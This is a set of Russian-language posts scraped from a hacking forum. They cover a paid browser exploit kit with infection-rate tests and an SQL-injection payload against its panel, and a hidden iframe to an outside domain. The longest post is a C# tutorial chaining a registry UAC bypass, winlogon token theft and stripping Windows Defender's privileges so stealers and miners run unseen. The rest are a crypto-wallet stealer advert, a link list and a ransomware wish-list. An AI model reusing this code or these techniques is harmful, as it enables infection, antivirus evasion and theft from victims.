[ссылка](https://xss.is/index.php?topic=17952.msg106006#msg106006&#entry106006)

**Ключевые моменты:**

В состав связки входят следующие эксплойты:
> MDAC
> MS009-02
> SnapShot
> Telnet - for opera
> PDF collab.getIcon
> PDF Util.Printf
> PDF collab.collectEmailInfo
> DirectX DirectShow

Средний пробив на связке:
> на ру-снг траффе: 10-30%
> на уса траффе: 5-15%
* Пробив указывается приблизительный, может отличаться и зависит напрямую от вида и качества траффика.

Цены:
> Стоимость самой связки = 599$
> Чистки от АВ = 49$
> ребилд на другой домен = 69$
* Связка с привязкой к домену.

\-----------------------------=====**Установка**
=====----------------------------
Итак поехали.
Получаю от автора связку. Размер в распакованном виде 1,4 Мб.
[Рис.1](http://img11.imageshack.us/img11/6066/sizee.jpg)
README в комплекте нету. Действуем методом научного тыка.
Создаем базу данных на хостинге (utf8), вносим данные в файл config.php
[Рис.2](http://img193.imageshack.us/img193/396/configv.jpg)
Заливаем содержимое папки на сервак. Запускаем install.php
В случае успеха видим надпись "Installation finished Please delete
install.php" [Рис.3](http://img193.imageshack.us/img193/5735/installo.jpg)
Заливаем на хост свой супер-мега трой/лоадер под именем load.exe (можно имя
менять в config.php)


\-----------------------------=====**Тесты** =====----------------------------
Первый тест на мое трафе. Ифрэйм, бизнес-эду тематики с преобладанием US
Трафика 829, загрузок 48, средний процент пробива 5,46%
[Рис.4](http://img23.imageshack.us/img23/9218/test1main.jpg)
[Рис.5](http://img23.imageshack.us/img23/4039/test1country.jpg)
[Рис.6](http://img27.imageshack.us/img27/2818/test1referer.jpg)

Второй тест на трафе продавца. Ифрэйм, адалт тематики, с преобладанием US
Трафика 1702, загрузок 88, процент пробива 5.17%
[Рис.7](http://img148.imageshack.us/img148/5784/test2main.jpg)
[Рис.8](http://img233.imageshack.us/img233/1373/test2country.jpg)
[Рис.9](http://img148.imageshack.us/img148/9860/test2referer.jpg)

30 июля я получил от автора обновление связки.

> Changelog:
> * Убран Snapshot
> * Добавлен Spreadsheet, эксплойт для IE при установленном офисе.
> * Добавлена возможность загрузки файла через админку.
> * переделан пдф.
>
> Click to expand...


Ставим апгрэйд. Смотрим в админку:
1\. Появилась новая закладочка, позволяющая грузить файлы на хост
непосредственно через админку.
2\. Появилась возможность грузить файл с удаленного хоста.

[Рис. обновения](http://img27.imageshack.us/img27/1222/filewtv.jpg)

Третий и четвертый тесты проводились уже на обновленной связке.
Траф идентичен второму тесту, т.е. ифрэйм, адалт тематики, с преобладанием US
Трафика 835, загрузок 81, процент пробива 9,70%
[Рис.10](http://img23.imageshack.us/img23/4506/test3main.jpg)
[Рис.11](http://img23.imageshack.us/img23/1772/test3countr.jpg)
[Рис.12](http://img193.imageshack.us/img193/880/test3ref.jpg)
[Рис.13](http://img401.imageshack.us/img401/9181/test3file.jpg)
Как видим, налицо улучшение пробива.

Четвертый тест, для закрепления результата проводился на покупном ифрэйм
трафике. MIX с преобладанием US DE GB TR IT.
Трафика 2404, загрузок 434, процент пробива 18,05%
[Рис.14](http://img23.imageshack.us/img23/8339/test4main.jpg)
[Рис.15](http://img401.imageshack.us/img401/3705/test4country.jpg)
[Рис.16](http://img148.imageshack.us/img148/1024/test4refer.jpg)
[Рис.17](http://img193.imageshack.us/img193/2227/test4file.jpg)
Отстук с лоадера составил 77,6%.

Во всех четырех тестах Elite Loader грузился. Отстук файла составлял
приблизительно 70-85%


\-----------------------------=====**Анализ кода от DeusTirae**
l=====----------------------------

На обзор было представлено 2 версии связки. Как я понял 1.0 и 1.2

**Админка** \- только самое необходимое, дизайн приятный, интерфейс понятный.
Замечены какие-то левые копирайты в cascade style sheet.
Авторизация написана через ж. Толи это такая задумка, толи криворукость
автора.
Вобщем от auth bypass при передаче в запросе ?auth_check=ok спасает только
Fatal error, возникающая в 40й строке
т.к. не определена функция geoip которая находится в файле подключаемом
инклудом в 10й строке.
Но почему подключается именно в 10 строке а не перед самим использованием
geoip базы я так и не понял.

**getexe.php** , как несложно понять из названия скрипт выдает exe, записывая
в базу что уник с данным ip пробился.
Смотрим запрос к базе $q = mysql_query("update statistic set good=1,
spl='".$spl."' where ip='".$ip."'");
Смотрим откуда береться $spl
if (isset($_GET['spl'])) $spl = $_GET['spl'];
elseif (isset($_POST['spl'])) $spl = $_POST['spl'];
else $spl="\--";
Не фильтруется сталобыть. Значит можем передать привет админу и повысить
пробив до 100% нопремер. Максимальная длина привета 30 символов.
getexe.php?spl=PREVED%20ODMEN,%20KLASSNIY%20SPLOENT'%20where%201/*
[Рис. пример](http://img181.imageshack.us/img181/8370/38936159.png)

**Эксплойты** \- чегото сверхнового нет, все как у всех.
Присутствует небольшая обфускация переменных на лету, что совместно с
криптором уменьшает риск спалиться.
Криптор не палится. Сложность расшифровки средняя.
Заметно что автор как минимум не профессионал. В частности по комментариям в
коде эксплойтов:
// Mozilla Firefox <= 3.5.0 просмотреть эксп, проверить на версиях 2.х, 3х
// <= SWF 9 временно отключен скорее всего следует убрать его
// <= opera telnet 9.25
Насчет opera telnet 9.25... Уже устал повторять что opera telnet бьет версии
9.0-9.19 и первые бетки 9.20

**В версии 1.2**
Комментариев в коде эксплойтов нет, видимо автор уже разобрался что к чему.
В файле 404.php находится левый фрейм
<iframe src="http://ef2tr.cn/index.html" width="1" height="1"
style="display:none;"></iframe>
По сравнению с версией 1 изменен код пдф эксплойта и некоторых других.
Эксплойты срабатывают. Валящих браузер эксплойтов не много.
При этом учтите что браузер падает только когда пробивается подобным
эксплойтом,
это не так часто происходит, так что за живучесть трафика беспокоиться сильно
не стоит.

Отключаем Windows Defender (+ UAC Bypass, + Повышение до уровня SYSTEM)

Author: ioioio777 • 2022-05-03T13:31:30+0000 • Replies: 136 • Views: 34K
**Windows Defener... **как много боли в этом слове. Вероятнее всего, если вы
хоть краем уха были связаны с распространением ВПО -- данный антивирус уже
успел доставить вам массу неудобств.



Имеющий самую обширную облачную базу в мире АВ не мог остаться без внимания
крипторов и малварщиков, в интересах каждого из которых было обойти его.​

Самая примитивная мысль, пришедшая каждому -- попробовать снести антивирус под
корень. Однако, этому препятствует сама система, так просто не выйдет.​



**Далее идёт способ со всеми известными "Set-MpPreference".** К сожалению, из-
за повсеместного использования скрипта -- провернуть данный трюк в реалиях
проактивной защиты невозможно.​

... и собственно, всё. На этом заканчивается вся поверхностная информация о
способах отключения Дефендера.​



**В данной статье я бы хотел рассказать о методе уже известном многим
пользователям, однако по сей день не получившем широкую огласку.
Речь пойдет о Privilege Tokens и манипулировании ими в целях отключения
Windows Defender.**



Попутно в статье будут упомянуты ещё две темы, без которых провернуть данный
трюк будет невозможно. UAC Bypass для поднятия привилегий, а также повышение с
обычного пользователя до NT AUTHORITY\SYSTEM.​



> **ГЛАВА 1: ПОДГОТОВКА** ​
>
> Click to expand...



Начнём, как и полагается, с нудной теории. К сожалению, без неё не будет ясна
суть происходящего в последствии, поэтому рассказывать постараюсь максимально
кратко и на понятном языке.​

![1651635574800.png](https://xss.is/attachments/35360/)​

**Токены привилегий - это разрешения, данные системой для процесса.** ​

К примеру, если у процесса есть токен "SeShutdownPrivilege" \- то он в праве
выключить ваш компьютер.​

Если ваша программа не будет иметь этого токена – она не сможет производить
это действие.​



Для проверки файлов Windows Defender использует свои привилегии. К примеру –
“SeRestorePlivilege”.​

Из этого мы делаем вывод, что если лишить процесс антивируса разрешения на
проверку файлов – он станет бесполезным и не сможет выполнять эту самую
проверку.​



**Любое объяснение станет понятнее, если из сухого текста перевести его в
визуализацию.** ​

Собственно, по этой причине, предлагаю вам скачать **Process Hacker** и своими
глазами посмотреть на токены, имеющиеся у того или иного процесса.​



За Windows Defender отвечает процесс **MsMpEng.exe** , нам нужно найти его в
списке и открыть вкладку Tokens​



Тут мы замечаем, что процесс имеет множество различных привилегий, имеющих для
него ключевое значение.​



Как вы понимаете, именно отключением этих привилегий мы и займёмся.​

На этом теоретическая часть окончена, приступаем к реализации POC'а.​













**На самом старте нас уже преследуют две проблемы.** ​



* Процесс MsMpEng.exe запущен от имени System. Для редактирования его токенов нам нужно иметь юзера “NT AUTHORITY\SYSTEM”​

* Для получения SYSTEM нам нужно будет провести повышение, которое в свою очередь происходит только с уровня администратора.​





**Решением является следующая схема :** ​



![Screenshot_2.png](https://xss.is/attachments/35362/)​





**Да да, нам придется целых 2 раза перезапустить процесс для получения всех
нужных прав.** ​



* Мы получаем права администратора с помощью UAC Bypass.
* А затем получаем уровень SYSTEM, посредством кражи токена и запуска своего процесса с украденным токеном.



Ну что, приступаем к созданию.​



> **ГЛАВА 2: ПОДНЯТИЕ ПРАВ** ​
>
> Click to expand...

**Реализаций обхода UAC очень много** , вы можете выбрать любой удобный вам. В
статье я буду использовать самый распространённый метод через**редактирование
реестра.** ​



Суть его в том, что системное приложение **computerdefaults.exe** , при
запуске обращается к regedit , **в** **путь "Software\Classes\ms-
settings\shell\open\command"**. Наша задача в том, чтобы отредактировать этот
пункт на своё приложение.​

Теперь при запуске computerdefaults.exe открывается **наше приложение** , но с
правами администратора. Отредактируем реестр и добавим запуск приложения в
через cmd.​



C#:Copy to clipboard



string execPath = Assembly.GetEntryAssembly().Location;

Registry.CurrentUser.CreateSubKey("Software\\Classes\\ms-settings\\shell\\open\\command");
Registry.CurrentUser.CreateSubKey("Software\\Classes\\ms-settings\\shell\\open\\command").SetValue("", execPath, RegistryValueKind.String);
Registry.CurrentUser.CreateSubKey("Software\\Classes\\ms-settings\\shell\\open\\command").SetValue("DelegateExecute", 0, RegistryValueKind.DWord);
Registry.CurrentUser.Close();


Process process = new System.Diagnostics.Process();
ProcessStartInfo startInfo = new System.Diagnostics.ProcessStartInfo();
startInfo.WindowStyle = System.Diagnostics.ProcessWindowStyle.Hidden;
startInfo.FileName = "cmd.exe";
startInfo.Arguments = @"/C computerdefaults.exe";
process.StartInfo = startInfo;
process.Start();



**Собственно, на этом этапе мы уже запустили свой процесс от имени
администратора, без каких либо предупреждений или значков на иконке.** ​



> **ГЛАВА 2.1: Я ЕСТЬ СИСТЕМА !** ​
>
> Click to expand...

![1651636260400.jpeg](https://xss.is/attachments/35366/)​



Как уже говорилось, процесс **Windows Defender запущен от имени NT
AUTHORITY\SYSTEM.** ​



Мы, будучи обычным процессом - не можем редактировать процесс, работающий от
имени системы.​



**Нам нужно повышение!** ​



Его мы будем проворачивать через **дубликат токена winlogon.exe** ​

Внимание на картинку, тут полный алгоритм действия.​





**Если объяснять произошедшее в двух словах:** ​

В Windows есть такой процесс, как winlogon, он запускается с системой и
отвечает за авторизацию пользователей. Мы продублируем токен этого процесса и
запустим свою-же программу с украденным токеном.​



* **OpenProcessToken()** \-- Открываем токен процесса с уровнем доступа TOKEN_DUPLICATE (на выходе получаем хендл токена)
* **STARTUPINFO** \-- Устанавливаем параметры для запуска процесса
* **DuplicateTokenEx()** \-- Дублируем токен с winlogon и записываем его
* **CreateProcessWithTokenW()** \-- Запускаем процесс нашего .exe с токеном, украденным из winlogon
* Поздравляю, вы великолепны




C#:Copy to clipboard



string procTostart = Assembly.GetEntryAssembly().Location;
Process process = Process.GetProcessesByName("winlogon")[0];
IntPtr procHandle = process.Handle;
IntPtr tokenHandle = IntPtr.Zero;

WinApi.OpenProcessToken(procHandle, 0x0002, out tokenHandle);

WinApi.STARTUPINFO SINFO = new WinApi.STARTUPINFO();
SINFO.dwFlags = 1;
SINFO.wShowWindow = 1;

WinApi.PROCESS_INFORMATION PINFO;

WinApi.SECURITY_ATTRIBUTES SECA = new WinApi.SECURITY_ATTRIBUTES();

IntPtr doubleDuplicateToken = IntPtr.Zero;

WinApi.DuplicateTokenEx(tokenHandle, 0x2000000, ref SECA, 2, WinApi.TOKEN_TYPE.TokenPrimary, out doubleDuplicateToken);

WinApi.CreateProcessWithTokenW(doubleDuplicateToken, WinApi.LogonFlags.NetCredentialsOnly, null, procTostart, WinApi.CreationFlags.DefaultErrorMode, IntPtr.Zero, null, ref SINFO, out PINFO);



> **Проведём промежуточный итог:** ​
>
> Click to expand...





Мы заставили нашу программу запускаться от имени SYSTEM, при этом обойдя UAC.​

**Давайте посмотрим что получилось при реальном тесте.** ​













**Собственно, как видно на демонстрации – изначальный процесс запускается без
прав администратора.** ​



* Затем, применяется обход UAC’а и открывается второй процесс с повышенными правами
* Второй процесс, в свою очередь запускает последний .exe, который **имеет и права администратора, и запущен от имени системы.**



На этом моменте мы выполнили все условия для редактирования привилегий
системного процесса и готовы реализовывать **отключение Windows Defender.** ​



> **ГЛАВА 3: ОТКЛЮЧЕНИЕ АНТИВИРУСА** ​
>
> Click to expand...



На секундочку вернёмся к теоретической главе статьи и вспомним, зачем
собственно все эти повышения мы и производили.​

**Наша задача заключается в том, чтобы лишить процесс антивируса привилегий,
благодаря которым он может проверять файлы на вредоносность.** ​



**Есть два варианта решения этой проблемы :** Снять весь список привилегий
вручную. Либо установить Уровень Целостности (Integrity Level) на значение
“Недоверенный”.​



В ходе тестов удалось установить, что оба этих решения – **взаимозаменяемые**
и приведут к одному и тому-же результату.​



Поэтому мы пойдём по пути меньшего сопротивления и установить**Integrity Level
“Untrusted”.** ​







**Как и вы прошлых шагах воспользуемся схемой для объяснения последующих
действий.** ​

![1651637564800.png](https://xss.is/attachments/35367/)​


**Собственно, алгоритм действий таков :**


* **OpenProcess()** – получаем хендл процесса с доступом “QueryLimitedInformation”
* **OpenProcessToken()** – Открываем токен процесса с уровнем доступа TOKEN_ALL_ACCESS
* **TOKEN_MANDATORY_LABEL** – заполняем структуру, которую будем устанавливать в токен процесса
* **ConvertStringSidToSid()** – получаем SID параметра “ML_UNTRUSTED”
* **StructureToPtr()** – приводим структуру в нужный для работы формат
* **SetTokenInformation()** – Устанавливаем “Untrusted” уровень доверия на наш процесс.











**SID значение “ML_UNTRUSTED” можно найти в документации Microsoft, по
ссылке.** [https://docs.microsoft.com/en-us/op.../ms-
dtyp/81d92bba-d22b-4a8c-908a-554ab29148ab](https://docs.microsoft.com/en-
us/openspecs/windows_protocols/ms-dtyp/81d92bba-d22b-4a8c-908a-554ab29148ab)​







Собственно, на этом и заканчиваются все действия, которые нам нужно было
провернуть для снятия привилегий с процесса.​



**Прикладываю видео-демонстрацию работы этого инструмента в живых условиях.**


**Версия Windows Defender использована самая актуальная на момент написания
статьи.** ​



**

**​





> **ИТОГИ :** ​
>
> Click to expand...



**Так, давайте зададим себе риторический вопрос “А нахуй я это сделал”.** ​



* Метод удаления WD через скрипт – мёртв. Метод, представленный мной в этой статье на данный момент можно реализовать **без детектов (!!!)**
* Данный метод не вырезает Антивирус из системы, он просто запрещает ему выполнять свои функции. У пользователя не вызовет подозрений внезапное уведомление от системы об отключенном антивирусе.
Пользователь не будет видеть никаких значков на панели. Для него не произойдет
никаких изменений, он даже не заподозрит факт того, что его система осталась
без защиты.

* Аналогичный трюк можно пробывать провернуть с другими Антивирусами, в статье Defender взят в качестве самого распространённого.



**Минусы данной затеи:** ​

* Нам нужны права Администратора (как и для других методов, но да ладно).
Если у пользователя они присутствуют – мы обходим эту проблему через UAC
Bypass

* Токены привилегий выдаются процессу заново после перезагрузки системы. Поэтому, если ваш вирус остаётся в системе на долго – добавьте отключение WD в автозагрузку



**Внимательно перечитав весь список плюсов и минусов – я прихожу к выводу, что
данный метод имеет все шансы на применение в бою.** ​







**Главным его плюсом является то, что метод не палится самим Дефендером и не
будет снесён при попадании на систему.** ​









> **В приложения к статье я прикладываю два файла:** ​
>
> Click to expand...



* Disable WD.zip – архив с исходниками на C#
* Silent.zip – архив, содержащий в себе уже скомпилированный .exe, который вы можете подгружать вместе со своим вирусом.
Он полностью невидимый, запускается без консоли и пропадает из диспетчера
задач.

Если вы хотите использовать его со своим Стиллером/Майнером – обязательно
грузите СНАЧАЛА Silent.exe, а потом уже свой payload. При смене порядка
действий – смысл отключения теряется, так как сначала дефендер спалит ваш
вирус и удалит его, а только затем отключит себя.​



**В Silent.exe не используется обход UAC, поэтому запускать его нужно от имени
администратора.** ​



**Пароль на оба архива == название форума** ​





Spoiler: P.S.

**Всех категорически благодарю за внимание!** ​

**Буду рад вышим лайкам и комментариям.** ​



**Если вы нашли неточность в моей статье - с радостью выслушаю ваши замечания
в комментариях.** ​

**Желаю удачи всем участникам конкурса!** ​





Echelon Stealer v5 master Стилер с отправкой лога в телеграм бота

Author: Gruzin733 • 2020-05-21T14:00:56+0000 • Replies: 185 • Views: 31K
Stealer Chromium Browsers v81, Firefox 76, Gecko Browsers, Crypto Wallets, and
20+ Program
**Проект автором больше не поддерживается, Это последний релиз.
![battery](/proxy.php?image=https%3A%2F%2Fgithub.githubassets.com%2Fimages%2Ficons%2Femoji%2Funicode%2F1f50b.png&hash=e3d00e2ffce1dfbd47bb2bb662cca822)
New Update Bug fixes / Обновление, теперь проект собирается из коробки
стабильно, все методы стиллинга в разных файлах и папках для удобства. Больше
не требует установки NuGet пакетов. DotNetZip.dll прямов ресусрах**


* Cтабильно стал собирать все данные, без пропусков
* Исправлен сбор данных из Opera browser
* Почищен от АВ
* Некоторые строки теперь зашифрованны
* Добавлена повторая проверка и зачистка следов прибывания

![6372e6a7067.jpg](https://xss.is/attachments/10190/)

![4a48346a5254612e706e67.png](https://xss.is/attachments/10191/)

**Stealer Functionality**

* All based browsers Chromium, Edge, Gecko (Mozilla Firefox)
* Clipboard data
* Discord Session
* Telegram Session
* Outlook
* Grabber files with saving path directories and scanning subdirectories
* FileZilla
* Total Commander
* Pidgin
* Psi, Psi+
* Screenshot
* PCinfo
* NordVPN
* OpenVPN
* ProtonVPN

**Crypto Wallets**

* Armory
* Atomic Wallet
* Bitcoin Core
* Bytecoin
* Dash Core
* Electrum
* Ethereum
* Exodus
* Jaxx
* Litecoin Core
* Monero
* Zcash

**Additionally**

* All ways to collect logs are random
* Self-removal after sending the log
* Log Resubmission Protection
* ![exclamation](/proxy.php?image=https%3A%2F%2Fgithub.githubassets.com%2Fimages%2Ficons%2Femoji%2Funicode%2F2757.png&hash=ec2b11c791b0ec0a038bdd834926e580) Написан исключительно в образовательных целях! Автор не несет ответственности за использование данного проекта и любых его частей кода.
* ![exclamation](/proxy.php?image=https%3A%2F%2Fgithub.githubassets.com%2Fimages%2Ficons%2Femoji%2Funicode%2F2757.png&hash=ec2b11c791b0ec0a038bdd834926e580) Written exclusively for educational purposes! I am not responsible for the use of this project and any of its parts code.



You must have at least 200 reaction(s) to view the content.

Useful Links

Author: Chococream • 2013-04-09T06:15:26+0000 • Replies: 39 • Views: 30K
**Malware URL**

> <http://malwareurl.com/> (требуется регистрация)
> <http://www.malwaredomainlist.com/mdl.php>
> <http://malc0de.com/database/index.php>
> <http://threatexpert.com/reports.aspx>
> <http://www.malwareblacklist.com/showMDL.php>
> <http://support.clean-mx.de/clean-mx/viruses.php>
> <http://malshare.com/daily/> (файловый архив)
> <http://www.nictasoft.com/ace/malware-urls/>
> <http://minotauranalysis.com/malwarelist.aspx>
> <https://palevotracker.abuse.ch/>
> <http://www.nothink.org/viruswatch.php>
> <http://vxvault.siri-urz.net/ViriList.php>
> <http://labs.sucuri.net/>
> <http://freelist.virussign.com/freelist/>
> <http://www.malware.pl/>
> <http://www.mwis.ru/>
> <http://minotauranalysis.com/exetweet/>
> <http://www.scumware.org/>
> <http://www.threatlog.com/>
> <http://www.malware.lu/> (требуется регистрация)
>
> Click to expand...


**AV Blogs**

> <http://www.eset.com/about/blog/> (ESET NOD32)
> <http://www.securelist.com/ru/weblog> (Kaspersky)
> <http://blogs.drweb.com/> (Dr.Web)
> <http://www.bitdefender.com/blog/> (BitDefender)
> <http://pandalabs.pandasecurity.com/> (Panda)
> <http://blogs.avg.com/> (AVG)
> <http://techblog.avira.com/en> (Avira)
> <http://blogs.mcafee.com/> (McAfee)
> <http://nakedsecurity.sophos.com/> (Sophos)
>
> Click to expand...


**Blogs**

> <http://amrthabet.blogspot.com/>
> <http://malforsec.blogspot.no/>
> <http://blog.coresecurity.com/>
> <http://blog.w4kfu.com/>
> <http://thegoldenmessenger.blogspot.de/>
> <http://blog.fireeye.com/>
> <http://xanalysis.blogspot.com/>
> <http://www.poppopret.org/>
> <http://oberheimdmx.blogspot.com/> (Spanish)
> <http://blog.exodusintel.com/>
> <http://malwaredisasters.blogspot.com/>
> <http://www.skidlist.com/>
> <http://www.xylibox.com/>
> <http://resources.infosecinstitute.com/>
> <http://fumalwareanalysis.blogspot.com/>
> <http://internetopenurla.blogspot.com/>
> <http://www.crowdstrike.com/blog/>
> <http://eromang.zataz.com/>
> <http://blog.cmpxchg8b.com/>
> <http://www.vupen.com/blog/>
> <http://malwaremustdie.blogspot.jp/>
> <http://contagiodump.blogspot.com/>
>
> Click to expand...


**Online Malware Analysis**

> <http://anubis.iseclab.org/>
> <http://eureka.cyber-ta.org/>
> <http://camas.comodo.com/>
> <http://malbox.xjtu.edu.cn/>
> <http://www.threatexpert.com/> (требуется регистрация)
> <http://www.xandora.net/xangui/>
> <http://www.honeynet.org/project>
> <http://malwr.com/>
>
> [http://mwanalysis.org/?site=1&page=submit](http://mwanalysis.org/?site=1&page=submit)
>
> Click to expand...


**Other**

> <http://packetstormsecurity.com/>
> <http://www.securityfocus.com/bid/>
> <http://www.exploit-db.com/>
> <http://securitylabs.websense.com/>
>
> Click to expand...


Что забыл - добавляйте. Надо собрать ссылки на тематические блоги, форумы,
песочницы в одну тему.
Хорошо бы закрепить тред.

Локер вашей мечты, какой он?

Author: kerberos • 2019-06-22T13:42:03+0000 • Replies: 112 • Views: 30K
Вот собираю идеи какой должен быть локер версии 2020.

_Я вижу это так:
1) работает со всеми системами как win, mac, linux
2) вес <150 кб
3) общается с друг другом и админкой через blockchain
4) админка в tore
4a) "клиент" зашел выбрал систему и выкуп
4б) потом в админке онлайне смотрит за ботами и общается с жертвами в online
чате
5) есть фича invoke с back shell и socks, типа криптует не сразу а можно
подсоеденится и заражать руками по сетке
6) шифрует 10мб файла полосами
7) шифрует сетивые диски и шары
8) на маке отключает time mashine
9) обход UAC
10) обход проактивных защит топовых АВ_

Что ещё надо? За все советы был бы блогодарен. Можно в ПМ...